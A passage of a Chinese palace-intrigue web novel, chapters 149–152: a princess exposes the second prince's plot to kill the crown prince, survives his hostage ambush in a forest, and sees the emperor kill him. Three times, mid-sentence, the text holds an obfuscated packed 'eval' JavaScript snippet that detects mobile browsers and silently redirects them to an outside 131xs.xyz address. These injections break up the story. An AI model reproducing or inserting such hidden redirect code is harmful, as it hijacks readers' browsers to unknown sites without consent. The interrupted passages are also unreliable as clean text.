夏以清呆了半晌,道:“原来我是葵花过敏,才起的疹子……我输得不冤。公主记忆过人,连我对葵花过敏这种小事都还记得。我想,二皇子不会是你的对手。” 萧柠冷笑:“他本来就不是。接着说下去。” 夏以清道:“后来,您要参加院试,也是二皇子设法让皇上生病,您不得不去侍疾,错过了院试的时间。” 萧柠有些愤怒:“竟然连这件事也是他搞的鬼……那么,当时的靳贵妃特意把我侍疾的时间安排在院试当天,也是二皇子设计的?” 149. 实名(修) “不是,二皇子只是设计让皇上生病而已。至于后来的事,他相信靳贵妃会按照他的设想去做。因为靳贵妃一脉本来就跟您不合,有阻碍您的机会,又怎么会放过? 果然,靳贵妃把您侍疾的时间安排在院试那天,让您不能参加考试。” “后来,我获得父皇的特许,让我跳过院试,直接参加乡试。在乡试报名的考场上,有许多举子反对我报名,还有个举子气得当场自尽,这些事也是二皇子安排的?” “是的。他希望您知难而退。二皇子的计划是,如果您当时放弃了,我就不出场了;如果您在这种情况下还想参加乡试,就由我出面,为您作证,证明那个死去的举子是自己情绪激动,他的死跟您没关系。” “你为我作证之后,我就会感激你,不再怀疑你,甚至把你当做自己人。而一但我跟你比较亲近,你就更有机会接近我,监视我的一举一动。” “是的。” “我这个二皇弟,可真是够聪明的。当时不论是我作何选择,最终的结果都是对他有利的。只是我不明白,他为什么要千方百计阻止我参加科举?” “您在和亲途中困在栾伊城,替县令办案时,他已经见识到您的才能。回京之后,他本以为您会很快出嫁,谁知您把精力用在读书上,还流露出想科考的意思。 二皇子当时就觉得,您的志向不小,只怕参加科考不仅仅是为了得到荣誉称号,而是为了当官,甚至有夺嫡的想法。 因此,他必须把一切扼杀在摇篮里。” “那他为何不找机会杀了我?” “因为他不想杀你,他只希望能阻碍你当女官,争太子之位。只要阻碍成功,您退居后院,您和他完全可以共存。” 萧柠讽刺一笑:“这么说,我还得谢谢他留下我的性命?” “您自然不用谢他,也有理由恨他。” “后来,我考中了举人,想要做官。钦天监突然跳出来说,需要有个身份尊贵的宗室女为国祈福三年,还说我去祈福是最好的。这件事,也出于二皇子的授意?” “是的,他收买了钦天监监正。” 萧柠叹道:“三年的时间啊……我就在那个鸟不拉屎的地方度过了……不过,我有了三年的准备时间,才能一举考中进士。这么看来,这件事也不是全无坏处。” “这世上有一种人,能把劣势变为优势。大公主就是这样的人吧。” “听起来,你似乎还很佩服我?” “是的。如果不是受制于人,我很愿意跟着大公主做事。大公主是我最佩服的女人,也是我最佩服的人。” “你这马屁拍得有点晚了。” “亡羊补牢,为时未晚。希望以后公主掌权,不要清算我。” “你放心,只要你把一切都吐干净了,我不会再翻旧账。” “多谢公主。” “后来,我去容城做官,你成为我的下属,自然也是二皇子的安排?” “是的,他在吏部也有人脉。” “他可真够厉害的,不知不觉,发展出这么多势力。” “二皇子确实是极擅隐忍、极擅布局之人。” “所以,你跟我去上任,就是为了随时监视我的动向,然后报告给二皇子?” “是的,这是我的其中一个任务。另一个任务是,见缝插针地劝大公主辞官。二皇子料到,为官生涯必定十分辛苦,您肯定会遇到很多次想放弃的时候。我就在您想放弃时,添油加醋说一番话,就行了。 可是,没想到,大公主心性坚韧,不管遇到什么困难,都不会放弃,不会后退。后来您似乎还发现了我的意图,开始疏远我。 不过我并不担心,因为您那时候肯定以为,我是靳妃和大皇子的人。” “没错。” “二皇子让我一直盯着您,如果您对他暂时没威胁,他就先不对付你。如果您有夺嫡的想法,他就会对付您。” “我有没有夺嫡的想法,是由你来判断,并且通知他?” “是的。好在您一直没有夺嫡的想法,所以才平安度过了这么多年。” “现在有了。” 夏以清惊讶地看着萧柠,不敢相信自己听到的话。 萧柠笑眯眯地说:“可惜你现在已经没法通知二皇子了。” 夏以清叹道:“我不会再跟他勾结了,这么多年偷偷摸摸的,太累了。我也是两榜进士出身,本可堂堂正正做人当官。” “我还有个问题,二皇子怎么能确定你会跟我同时考中进士?进士那么难考,万一你考不上呢?” “如果我考不上,他自然会安排其他人到您身边。您不会以为他的棋子只有我一人吧?” “自然不会。你还有什么没交代的?” “没有了,小人知道的就这么多。” “那太子之死和大皇子之死呢?” “我不知道。难道这两件事也跟二皇子有关吗?” 看着夏以清茫然的样子,萧柠知道他应该没说谎。 夏以清也只是个普通人,没法一下子做太多事。 像谋算太子和大皇子性命这种事,二皇子应该也不会让夏以清知道。 萧柠又问:“你认识前太子妃南若烟吗?” “从未见过。” “二皇子有私下跟她来往过吗?” “这个我就不太清楚了。实际上,我真正跟二皇子见面也只有一两次。很多时候,他都是派人通知我该干些什么。” “我知道了,那你继续隔离吧。” “公主,我什么时候能出去?” “你能出去的时候,我自然会放你出去。” 萧柠走了出去。 现在,就等京城那边的调查结果了。 萧玉蟾问道:“公主,您真的把夏以清的父母救出来了吗?” “没有,他们被看管着,轻易救不出来。不过,我派人偷了他母亲的梭子,夏以清就相信他父母在我手里了。” “原来如此。” 几天后,萧玉蟾的暗卫六幺、时九回来了,还带回来一些东西。 萧柠问道:“有收获吗?” 六幺道:“一切跟大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147092|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主和县主猜测得一样,南若烟生前果然跟二皇子有所来往,我们找到了一些物证。至于她和大皇子,似乎没有往来,因为我们翻遍了整个护国公府,也没有找到相关的物证。” 时九道:“起初我们溜进了南若烟的房间,但找了许久也没找到线索。后来我们去了其他房间,终于在祠堂里找到了一些东西。在南若烟父亲的牌位下面,有一个机关,打开机关,里面有个暗格,东西就藏在暗格里。 她藏得如此隐秘,若非我和六幺精通机关消息,只怕是找不到的。” 萧柠和萧玉蟾都很好奇,他们到底找到了什么东西。 六幺和时九把东西一样一样地拿出来。 其中几样是珠宝、胭脂水粉,虽然很名贵,但很多地方都买得到,上面也没刻名字,没法证明这是二皇子或南若烟的。 萧柠叫医师秋笛过来,检查了这些胭脂水粉,发现全都无毒。 所以,这些胭脂水粉应该就是二皇子送给南若烟使用的,而南若烟的有毒口脂应该是她自己做的。 接着,六幺拿出一个黄金手镯,道:“这个手镯可以证明是二皇子送给南若烟的。” 萧柠接过手镯看了看,发现这手镯做工精美,上面雕刻了几只蝴蝶和几朵茶花。 只是,上面没有刻字。 萧柠道:“这手镯上面没有刻字,怎么能证明是二皇子送的?” “公主,您再仔细瞧瞧,这镯子是哪家店的工艺。” 萧柠仔细看了看,恍然大悟:“四只蝴蝶,八朵花,镯子开口处雕了两片树叶……这是京城荣宝斋的东西?” 六幺道:“是的。荣宝斋的特色就是每只金镯子上都会雕刻四只蝴蝶、八朵花,镯子开口处也一定会雕刻两片叶子。不过,蝴蝶和花朵的样式,可以由客人自选,那两片叶子的形状却是不变的。” 萧玉蟾道:“荣宝斋是百年老店,听说它的第一代创始人本来是一家首饰铺的学徒,跟随店主学习首饰制作、打磨等工艺。 后来小徒弟出师,也开始卖首饰,但他会在每件首饰上雕刻两片树叶,表示自己是衬托红花的绿叶,以示不跟师父的店铺相争之意。每次他的店来了客人,他都会顺便推荐自己师父的商品。 久而久之,人们很佩服这小徒弟的人品,小徒弟的生意越做越大,发展成了有名的首饰铺荣宝斋,一直传到现在。 在首饰上雕刻叶子的传统也保留了下来。 他们家的商品比较贵重,款式也不多。比如金镯子,就只有这一种款式。所有金镯子都雕刻四朵蝴蝶、八朵花,叫做‘蝶恋花’,很好辨认。 而且,每卖出一件首饰,他们都会登记下来。购买者必须实名购买,并提供相关凭证。如果不能证明自己叫这个名字,他们是不卖的。 这个规则虽然繁琐,但反而很受欢迎。如果有人贪慕虚荣,伪造了荣宝斋的首饰,说是从荣宝斋买的,旁人只需要去查阅荣宝斋的账簿,就知道此人在说谎了。 因此,敢将荣宝斋的首饰戴出来的人,就不怕别人的检验,反而能证明自己的财力。” 150. 毒粉(修) 六幺道:“是的,我认出这镯子是荣宝斋的东西,就去荣宝斋询问了。店里的伙计帮忙查了账册,说是二皇子购买的。” 萧玉蟾道:“二皇子既然知道荣宝斋的东西要实名购买,为何还要去买,留下把柄?他买其他的东西,也能表达对南若烟的感情啊。” 萧柠道:“我猜,是因为这‘蝶恋花’金镯子还有一条售卖的规矩。” “你是说,这种镯子每个男人一生只能买一次?” “是的,这是荣宝斋卖货的噱头,本来人家也许不想买金镯子的,但听说这种镯子有这个售卖规矩,很多人就会很感兴趣,甚至逼迫自己的夫君或父亲给自己买,那么镯子的销量就上去了。 若有哪个男人要证明自己对某个女人是真爱,买一个荣宝斋的金镯子是最有效、最快的证明方法,就是有些费钱。” 萧玉蟾点头:“二皇子要骗南若烟为自己去死,不下点血本怎么行?南若烟收到这个镯子,一定感动死了,什么事都愿意为二皇子去做。” 萧柠叹息道:“他是懂攻心的。” 接着,六幺又拿出一叠纸,道:“这上面都是诗词,看笔迹是男人所写,且都是同一人的笔迹,应该是二皇子写的。” 萧柠拿过来一看,认出这果然是二皇子的笔迹。 这些诗词,有的表达了对南若烟的思念和感情,有的表达了自己怀才不遇的愤懑,文辞精彩,感情丰沛,简直令人潸然泪下。 想必,南若烟看了这些诗词,对二皇子会更加死心塌地,也更可怜二皇子壮志未酬的痛苦。 那么,她为了二皇子的大业,很有可能牺牲自己。 二皇子以感情控制她,简直是杀人于无形。 年轻的女孩本就容易陷入情网,更何况南若烟身份特殊,她出身高贵,却没什么亲人,父母早亡,长姐远嫁,下人只把她当主子,她内心肯定是十分孤独的。 如果一个男人走进她心里,她会比一般的女孩更难割舍这份感情。 六幺道:“还搜出一小包东西,是粉末,不知是什么。” 六幺把粉末包递给了萧柠。 萧柠打开一看,里面的粉末五颜六色的,很好看,但有点过于艳丽,就像蛇身上的花纹一般,令人害怕。 医师秋笛站在一边,看见了这些粉末,惊讶道:“小心,别碰到这些粉末,很可能有毒。” 萧柠吓了一跳,把粉末包放在桌上,问道:“真的有毒吗?是什么毒?” 秋笛道:“我是根据自己的经验判断,这些粉末大概率有毒。具体还要检验一下。” 萧柠道:“好,你拿去检验吧,小心一点。” 萧玉蟾道:“这些粉末,会不会就是二皇子拿给南若烟,让她制作有毒的口脂的材料?” “很可能……南若烟一个公府千金,哪来的渠道弄到毒药?应该是二皇子给她的。有了这个,足以证明二皇子就是害死太子的幕后主使了。” 几个时辰后,秋笛禀告萧柠:“公主,经过检验,这些粉末确实是毒粉,是用一些剧毒的草药制成的。只是不知这种毒药是不是就是毒死太子的那一种。太子已经下葬,也没法开棺验尸。” “八成就是了。南若烟拿它做成口脂,应该不会只有一点点。如果有用剩下的口脂,就可以拿来比对了。我把这些粉末交给皇上,皇上自会拿去比对。” “公主,您要现在进京把这些证据呈交给皇上吗?” “必须尽快进京,以免夜长梦多……只是,要如何掩人耳目,是个难题……” 这时,二公主萧梦苒走了过来,盛气凌人地问道:“喂!萧柠!有什么进展没有?” 萧柠看着她,忽然有了个主意。 看到萧柠的目光,萧梦苒有些慌:“你这样看着我干什么?” 萧柠:“不干什么,你的模样借我用用。” 萧梦苒捂住脸尖叫:“你要干什么!你不能撕掉我的脸皮做人皮面具!不然我做鬼都不放过你!” 萧柠吓得打了个寒颤,鄙夷道:“你满脑子都在想些什么东西?我们长得这么像,我只需要化个妆,就能伪装成你了。以前又不是没伪装过。” 萧梦苒松了一口气:“原来是这样,我以为你心狠手辣,要对亲姐妹下手!等等,你要化妆成我干什么?你要勾.引裴靖?” 萧柠真的打心眼里佩服萧梦苒,天下笑话共一石,萧梦苒独占八斗。 萧柠道:“你放心,我不会对你的驸马有什么心思的,我有别的事要进京,需要借助你的身份。你这些天就化妆成我,不要出门,不要惹事,政务交给底下人。” “我凭什么同意?” “除非你不想为大皇子报仇了。” “你……你要给大皇子报仇?你想怎么做?” “解释起来太复杂了,你不用懂。总之,在假扮我的这段时间,你绝不能出门。” 萧梦苒哼了一声,也不知是同意还是不同意。 现在由不得萧梦苒闹脾气了,鸾音把她按在梳妆台前,绿袖赶紧给她化妆。 而萧柠也坐了下来,由冬香、小雪化妆。 大约半个时辰后,萧柠和萧梦苒的模样就变了过来。 萧柠又拿走了萧梦苒的随身配饰、腰牌,牵走萧梦苒的马,再把所有的证据都包好,藏在袜子中。 她在袜子外侧缝了一个小口袋,刚好能装下这些证据。 萧玉蟾问道:“公主,可要带些随从?” “带随从太扎眼了,我还是一个人进京吧。” “但是,这样会不会不安全?” “你看我现在像大公主还是二公主?” “像二公主。” “这就没问题了。你这么近距离看,都分辨不出来,何况是其他人。我秘密进京,二皇子应该不会知道,就算知道,派人来拦,也不会拦到我这个二公主。” “嗯,但愿吧。” 萧柠又对萧梦苒说道:“大皇子身边那个知道真相的老仆,被你藏在哪里?我现在有了物证,还需要人证。” 萧梦苒道:“那个老仆叫吴声,藏在五公主府邸的地下室里。” “五公主府?不是还在建吗?” “对,才建了一半,现在没人会去那里。那里有个地下室,你找找就知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147093|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “好。” 每个公主都会有一个公主府,但五公主还未成年,所以她的公主府还没建好。工匠们每年只需建一部分,等五公主成年了能建好就行。 现在那里还像是一片废墟。 萧梦苒能想到把人藏在那里,也不算很笨。 萧玉蟾又走了过来,低声对萧柠说道:“要不要把夏以清带上?他知道二皇子做的一些坏事,能加重二皇子的罪名。” “还是先把他保护在青州吧,我已经带上了他的口供。等二皇子被抓,环境安全后,我再派人接夏以清进京。” “还是公主考虑得周全。那食物和水……” “放心吧,带够了。天色已晚,我趁夜离开,比较隐蔽。” “好,公主小心。” 萧柠骑上了萧梦苒的马,戴上了萧梦苒的帷帽、披风、首饰,星夜骑马往京城而去。 这匹马见到萧柠非常开心,看来连马也把萧柠认成了萧梦苒。 萧柠心中更加笃定了,伪装不会出问题。 萧柠骑了两个时辰后,觉得有些累,就下来休息一下。 这里是一片树林,树木又高又密,远处还传来一些可怕的呼啸,似乎是一些危险的动物在叫。 今夜月光暗淡,星星也不多,能见度低,朝四周看,都是一片黑黢黢的。 半人高的灌木丛,好像是远古怪物一般,盯着萧柠。 萧柠忽然产生了一个想法:这里可真是个杀人埋尸的好地方。 她吃了点东西,正准备继续出发,忽然想起了一个阴恻恻的声音:“大皇姐赶路辛苦了,不如长眠于此,也免了奔波劳碌。我会在你的坟头种上最鲜艳的花。” 萧柠吓了一跳。 这个声音她很熟悉,只是那个人平时不是用这种声调说话的。 萧柠看向前方的树林,道:“二皇弟?” 二皇子缓缓走了出来。他的神情很可怕,阴恻恻的,隐隐带着一种杀伐果断的感觉,跟他平日里温和、唯唯诺诺的样子判若两人。 或许,这才是他的真面目。 萧柠临危不乱,笑道:“你认错了,我是二皇姐。” “我没认错。而且,二皇姐是不会对我笑的,也不会自称是我姐姐。大皇姐你千算万算,还是失算了。” 萧柠紧张地握紧了鞭子。 这鞭子是萧梦苒的,但她不会用。 她没学过武,在这种情况下,实在是万分危险。 虽然说话的只有二皇子一人,但萧柠却看见,他的背后隐藏着一堆侍卫,不知有多少人。 萧柠只得继续装傻:“我很想去祭奠太子,但碍于身份,不能离开青州。所以,我才假扮成二妹妹的模样,偷偷进京。二皇弟怎么会来?” “别装了,大皇姐。我知道你去京城干什么。你以为,你见得到父皇吗?那些对我不利的证据在哪里,交出来。” 萧柠也不装了,直接说道:“我确实想进京见父皇,但所有的人证物证,我都保存在青州。你就算杀了我,也得不到。” “我无需杀了你,只需杀了另外几人。” 151. 挟持(修) 萧柠正疑惑他这话是什么意思,却见二皇子一挥手,有四名侍卫走了出来。 这四名侍卫,每人都挟持着一个孩子。一共两男两女,四个孩子,都神情惊慌,对着萧柠喊姐姐。 这些是她义父姜焕的孩子,萧柠一向把他们当成亲弟弟、亲妹妹。 之前萧柠在姜家时,是看着这几个孩子长大的。 萧柠有些愤怒地看向二皇子:“你抓了我义父的孩子?” “是啊,想必你不会见死不救吧。交出所有证据,然后束手就擒,用你一命,换他们四人四条命,很划算吧?” 萧柠握紧拳头,脸色发白。 二皇子继续说道:“你义父一家对你恩重如山,你不会不管这些孩子吧?姜焕所有孩子都在这儿了,他会不会绝后,就在皇姐一念之间。” 萧柠冷笑:“没想到你这么卑鄙。不过,你以为我真是一个人来的吗?” “我当然猜到你不会一个人来,不过,就算你身边有护卫,也没法同时救下四个孩子。” 二皇子身后又走出一百多个侍卫,紧紧围住前四个侍卫,黑压压的像一群麻雀。 四个孩子和四名挟持他们的侍卫被外圈的侍卫们保护着,即便有人想冲过来救人,也很难办到,而且能救出一个孩子已经不容易了。 在救出一个的时候,另外几个侍卫可以同时杀掉其他三个。 如果要四个全救,似乎除了答应二皇子的条件,别无他法。 二皇子成竹在胸,慢悠悠地说道:“大公主忧心皇上的病,星夜赶回京城探病,却在半路上遇见匪徒,被匪徒杀害。大皇姐,你觉得这个死法怎么样?” 萧柠冷冷道:“不怎么样。” 萧柠身后走出邢玉楼和十名亲兵,这些人是任将军借给萧柠的。 萧柠其实早有准备,在离开之前,她写信给任将军,说自己要去做一件危险的事,请任将军派几个善于追踪的好手,暗中保护她。 因为萧柠想装作是自己一个人赶路的样子,所以保护者必须离她比较远,这样才不容易被人发现。 但离得远了,也容易跟丢,所以必须是擅长追踪的人。 任将军派了邢玉楼和十名亲兵来,他叫萧柠只管出发,邢玉楼等人会跟她隔一段距离再跟上来。 本来邢玉楼是打算等萧柠遇到危险时,出其不意地出现,保护萧柠。 可是现在,面对这么多敌人,他们的隐蔽已经没有意义。 所以,邢玉楼等人走到了萧柠身边。 邢玉楼小声对萧柠说道:“公主,现在有两条路。第一条,您立刻回青州,我们留在这里断后。我们的生死未知,但应该能为您争取到逃跑的时间,您也能保留所有证据。 第二条路,我们现在冲过去,救出一个孩子,然后立刻逃跑。只是,这样就顾不上您了,也没法救下另外的孩子。 公主,您决定吧。” 萧柠突然道:“有没有第三条路?” “第三条路?这个……” 邢玉楼还在思索,萧柠道:“你们几个上前跟二皇子和外层的侍卫打斗,不必救孩子。” 邢玉楼惊讶:“不救孩子?可是……” “任将军有命,让你们听我的。” “是。” 军令如山,尽管邢玉楼心有疑虑,还是按照萧柠说的做。 他和几名亲兵冲了过去,跟侍卫们打斗。 那些侍卫都是高手,分出十几人来就把邢玉楼等人缠住了,其余侍卫仍是按兵不动。 二皇子无需动手,只在一边观战。 他对萧柠说道:“皇姐,你真的以为凭这几个人就能救出孩子吗?命令他们停手,否则我立刻下令杀死这几个孩子!” 萧柠道:“你若杀他们,我会立刻自尽。就算你能得到物证,我还有人证。你永远不知道我找到了几个人证,他们都躲在哪里。我死后,会有人带他们去见父皇,让父皇知道你的真面目。” 二皇子有些恼怒,随即又压下怒气,用温和的声音说道:“皇姐,何必如此呢?我们本来不应该是敌人的。我从来没想过杀你,只要你不跟我为敌,不跟我争储位。 可是,你偏偏聪明过头,发现了我的真面目,我不得不除掉你。 但是,你和我都不希望这几个孩子死。所以,该怎么做,你清楚的。” “你杀死太子和大皇子,现在又想杀我?” 二皇子突然暴怒:“都是你们逼我的!要怪,就怪父皇生我的时机错了,我不是皇长子;怪我自己投错胎,没投胎到皇后肚子里,也不是嫡子。 我非嫡非长,想要当皇帝,可不就得清除所有阻碍吗? 要怪就怪靳氏和大皇子一直欺压我和我娘,我本来是与世无争的性子,但我不得不争! 要怪就怪你身为公主,却不守本分,不肯嫁人,非要参加科举,当女官,让我忌惮你! 大皇姐,你知道吗,我本来很同情你。 在你一开始代替萧梦苒去和亲的时候,我一路护送,我觉得你跟我都很可怜,身不由己。 后来,和亲取消,你能回来,而且你竟是我亲姐姐,我心里无比的高兴。 可是为什么,一切都变了! 我们的关系曾经那么好,为什么会走到今天这一步?这都要怪你!” 萧柠叹道:“二皇弟,收手吧!不要再继续犯错了!” “我已经回不了头了!我连太子都杀了,如果我不当皇帝,一定会死!南若烟那么爱我,她是这世上除了母妃之外,最爱我的人。 可是,她不得不为了我的大业,牺牲生命。都是你们害死她的!父皇,靳氏,大皇子,三皇子,萧梦苒,还有你!这都怪你们!” 萧柠摇了摇头,道:“你已经走火入魔了。” “不要再说了!审判别人多容易啊,你要是处在我的位置上,会比我好吗?” “就算靳氏母子三人欺负你,可太子呢?他做错了什么?他跟你关系一向很好,在你被所有人忽视的时候,他亲近你,尊重你,经常约你一起吃饭,一起出游……他没做过任何对不起你的事,你为何要杀他?” “他错在他是嫡子,错在他当了太子!我……” 二皇子还想说什么,忽然响起一阵箭矢破空的声音。 接着,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147094|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的侍卫倒下了人。 二皇子往远处一看,见郑奇树将军率领一队人马过来,刚才的箭就是他放的。 二皇子带着二十几个侍卫上前迎战。他不是郑奇树的对手,渐渐有些不支。但有侍卫的掩护,他还能撑一阵。 这时,又有一人从旁边冲出来,一剑杀死了那四名挟持孩子的侍卫。 那四名侍卫,连反抗的时间都没有。 而这人只出了一招。 二皇子循声望去,见来人竟是威远侯裴靖。 裴靖把那四个孩子护在身后,飞快地带他们逃出包围圈。 虽然现场还留有几十个二皇子的侍卫,但他们都没料到会突然有人冲进来,来不及反应,才叫裴靖带着几个孩子冲了出去。 这会裴靖站得远远的,他身后也有一队亲兵,大约有二十人。 裴靖对萧柠道:“大公主放心,几个孩子都没事。” 萧柠点了点头。 二皇子剩下的侍卫们分出一半,去裴靖那边,想把孩子抢回来,裴靖的亲兵跟他们打斗,杀死了好几人。 二皇子见裴靖也出现了,不知道怎么回事,心一慌,被刺了好几剑。 他让侍卫们挡住郑奇树,自己往后逃跑,跑到萧柠身边,然后挟持了萧柠。 这时,他所有的侍卫都被杀光了,郑奇树、裴靖都冷冷地看着他。 但他在最后关头挟持了萧柠,众人都不敢轻举妄动。 几个孩子哭着叫道:“姐姐!放开我姐姐!” 二皇子叫道:“别过来!再过来我就杀了她!” 萧柠虽然有点害怕,但装出冷静的样子,劝道:“二皇弟,大势已去,你收手吧。” “你闭嘴!没想到你还联络到了裴靖和郑奇树,我本以为你身边只有邢玉楼……不对,邢玉楼呢?” 二皇子突然发现,他只能看见裴靖、郑奇树和他们的亲兵,没看见邢玉楼。 这时,他耳边传来邢玉楼的声音:“我在这里。” 二皇子吓得魂飞天外,他还没反应过来,只觉得手上一阵剧痛,长剑脱手,身上的穴道也被点了。 萧柠趁机逃得远远的。 原来邢玉楼刚才趁乱绕到了二皇子背后,出其不意地给了他一击。 不过邢玉楼出手不重,只是伤了二皇子的右手,并且点住了他的穴道。 萧柠逃出生天,深呼吸了几次,才慢慢平静下来。 二皇子跌坐在地,心如死灰,面色惨白。 他凄然一笑:“我败了。大皇姐,看在我从未害你性命的份上,保住我母亲。” 萧柠有点想笑,道:“你从未害我性命?那刚才算什么?” “刚才我只想挟持你,不想真的杀你。” “不管怎样,我都不会迁怒于你母亲。” “谢谢。我现在只想知道裴靖为什么会帮你。他明明是二公主的夫婿。” “他虽是二公主的夫婿,但不代表他是坏人。更何况,我们现在有共同的敌人。” 这共同的敌人是谁,不言而喻。 二皇子继续说道:“你是怎么联络到裴靖和郑奇树的?” 152. 哀侯(修) “我在京城安插了三名暗卫,一名负责跟踪你,一名负责在紧急情况下求助于郑将军——我对他有恩,无论何时何地,只要我有难,他都会过来。 还有一名暗卫,负责在紧急情况下联络裴靖。我把二公主的一些信物给了他,所以他能取信于裴靖。” “所以,我一出京城,郑奇树和裴靖就跟着我了?” “没错。而且,你一出来,我的暗卫就以烟花传讯,提醒我你会过来拦截。” “我挟持了姜焕的四个孩子,为什么郑奇树他们不在我刚出京城的时候就拦下我,把孩子抢过去?” “因为他们估算过战力,他们随时有能力从你手中抢走这四个孩子,所以不用着急。” “既然你早就知道我会来截杀你,为何不绕路?” “我不能绕路,因为我必须跟你见面,让你亲口承认自己杀了太子和大皇子。” “为什么?” “因为我要让父皇亲耳听见。” 二皇子的脸上露出惊讶、害怕交织的表情:“你……你说什么?” 这时,又有一人从黑暗中走出。 此人虽一身常服,但不怒自威,正是当今皇帝。 他躲在一边,目睹了全程。 自然,二皇子所说的话,他也听见了。 二皇子叫道:“父皇……” 皇帝提着剑,缓缓走向他,眼中的怒火有如实质,造成如山一般的威压。 二皇子被点了穴,没法后退,只能眼睁睁看着皇帝越走越近。 皇帝走到了他身边,问道:“真的是你杀了太子和大皇子?” 二皇子轻蔑一笑,并不答话。 他的态度激怒了皇帝,皇帝一剑刺入了二皇子心口:“你这个逆子!朕杀了你!” 二皇子心中流血,眼中流泪,直勾勾地看着皇帝,虚弱地说:“为什么要生下我……” 这是他说出的最后一句话。 接着,他就倒了下去,气绝身亡。但是,他的眼睛还睁着,一直看向皇帝,似乎在寻求一个答案。 皇帝的神情很复杂,愧疚、惊讶、后悔、失望……种种情绪在他脸上变换,象征着他震撼的内心。 他好像直到此刻才意识到,二皇子也是他的儿子。 他亲手杀了自己的儿子。 他又没了一个儿子。 皇帝沉默着,其他人也沉默着,没人敢说话。 良久,皇帝叹息了一声,对一个侍卫道:“去把二皇子的眼睛合上。” 侍卫走了过去,蹲下来,用手覆盖住二皇子的眼睛。 过了一会,侍卫惊慌地说:“合不上……” 皇帝皱眉:“怎么会合不上……让开!” 侍卫让开,皇帝看见二皇子的眼睛果然还睁着,似乎还在看他。 皇帝蹲了下来,忽然说道:“对不起。” 接着,他用手去合上二皇子的眼睛。 这下,二皇子的眼睛真的闭上了,永远不会再睁开。 郑奇树问道:“皇上,二皇子的尸体如何处置?” 皇帝道:“先带回京城,放到冷库里吧。等抓了二皇子的党羽,审问清楚他们的全部罪行后,再考虑如何安葬。” “是。” 郑奇树命几个士兵抬走二皇子的尸体。 萧柠把自己带来的物证拿了出来,对皇帝道:“父皇,这些物证,是否现在交给您?” “你先收着吧,陪父皇回京,青州事务暂时由你的下属管理。” “是。” 皇帝似乎一下子苍老了很多。萧柠心想,皇帝现在正是需要人陪伴的时候。 她默默地扶着皇帝的手,向前走去。 裴靖道:“父皇,我去青州接二公主回来。” 皇帝点头:“你去吧。” 裴靖带着一队亲兵,前往青州。 邢玉楼本是虎贲军将领,要镇守边境,也回去了。 皇帝是萧柠叫来的。 萧柠让绿袖留在京城,一旦二皇子有异动,她就去找自己之前的主人金吾卫大将军,让他通知皇帝来看一出好戏。 绿袖是金吾卫大将军培养出来的护卫,后来才到萧柠身边的。 而金吾卫是皇宫的守卫,其首领有权在任何时候求见皇帝。 绿袖和几名暗卫都完美地履行了自己的职责,萧柠今晚的布局才能成功。 但是,虽然计划成功了,二皇子的真面目也被皇帝知道了,萧柠却觉得有些萧索。 她忽然想起了自己当年代替萧梦苒去和亲的时候,二皇子穿着一身红色甲胄,骑马护送。 一路上,他将萧柠照顾得很周到,大概是在萧柠身上看到了自己。 当年的时光,再也回不去了。 只有苍凉的夜风呼呼地吹着,吹进了每个人的心里,带来彻骨的寒意。 回到京城后,皇帝命大理寺抓走所有二皇子的近侍、随从、下属,审问他们关于二皇子所做之事。 由于二皇子已死,他们也没必要隐瞒了,就把自己知道的事都说了出来。 包括二皇子跟南若烟过从甚密,还让南若烟嫁给三皇子,并在新婚之夜除掉三皇子;二皇子在大皇子、太子身边安插卧底,收集他们的消息;包括之前靳妃身边的一个掌事太监也是二皇子的人,就是那个太监欺骗靳海涯,让靳海涯带兵进皇帝寝宫,导致了大皇子被皇帝猜忌,靳海涯被杀死;等等。 至于大皇子死在自己的房间,是因为那个房间本就有一名二皇子的暗卫在。那个暗卫擅长隐蔽,没有人发现。等大皇子落单时,安慰就用匕首刺死了大皇子,伪造出大皇子畏罪自杀的景象。 萧柠也提供了自己收集到的线索,包括二皇子让夏以清潜伏在自己身边,伺机阻碍自己。 夏以清,还有大皇子身边那名老仆,都被萧柠带到了京城,到大理寺作为人证。 二皇子犯下诸多罪行,但他已身死,皇帝心中同情哀恸,便将其以侯爵之礼安葬,追谥哀。 跟二皇子一起犯事的人,全部处死。 夏以清虽做过坏事,但属于被胁迫,其情可悯,皇帝就没处死他,只是革去了他的功名。 他以后要是还想做官,只能重新考科举。 夏以清的父母也被救了出来,倒是万幸。同时获救的还有其他棋子的家人。 自从回京之后,萧柠就密切关注着二皇子的生母魏美人,生怕她自尽。 萧柠答应过二皇子,会保住他的母妃,不想食言。< 